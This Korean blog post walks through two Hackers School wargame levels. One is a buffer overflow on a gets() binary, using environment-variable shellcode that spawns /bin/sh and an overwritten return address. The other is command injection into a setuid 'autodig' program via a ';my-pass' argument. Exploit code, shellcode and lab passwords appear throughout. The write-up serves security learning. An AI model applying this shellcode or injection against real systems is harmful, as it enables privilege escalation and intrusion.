반응형
반응형
반응형


해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이


M4ndU




해커스쿨 LOB [cobolt -> goblin] 풀이입니다.


ID | cobolt

PW | hacking exposed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: cobolt

Password:

[cobolt@localhost cobolt]$ bash2

[cobolt@localhost cobolt]$ ls -l

total 16

-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin

-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}




저번과 같은데 입력을 gets함수로 받네요. 

환경변수 설정하겠습니다. 이번에도 41바이트 쉘코드를 사용합니다.



[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[cobolt@localhost cobolt]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv

ADDR -> 0xbffffea7




[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa7\xfe\xff\xbf"'; cat) | ./goblin

AAAAAAAAAAAAAAAAAAAA??

my-pass

euid = 503

hackers proof


다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 FTZ [LEVEL3] 풀이


M4ndU




해커스쿨 FTZ [LEVEL3] 풀이입니다.


ID | level3

PW | can you fly?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




level3@192.168.31.128's password:

[level3@ftz level3]$ ls -l

total 12

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


소스코드가 나왔네요.


어떤 일을 하는지 봅시다.


int main(int argc, char **argv){


인자값을 받습니다.


strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");


cmd = "dig @"+argv[1](우리가 입력한 값)+" version.bind chaos txt"


system( cmd );


cmd의 값을 실행합니다.





find 명령어로 autodig를 찾아봅시다.


[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null

/bin/autodig


있네요!


이제 이동해서 autodig에 줄 인자값을 생각해 봅시다.


아까 hint내용을 더보면 이런게 있다.


- 동시에 여러 명령어를 사용하려면?


세미콜론 ; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.


- 문자열 형태로 명령어를 전달하려면?



큰 따옴표 "" 를 사용하면 된다.

그럼 이 둘을 사용해 패스워드를 알아보자.

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

;my-pass를 넣음으로써 cmd의 값은 dig @;my-pass version.bind chaos txt이 되었고
dig @;가 실행되어 dig: Couldn't find server '': Name or service not known 라는 오류가 떴고,
my-pass가 실행되어 Level4 Password is "suck my brain". 가 출력되었고
version.bind chaos txt는 무시되었다.


바로 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts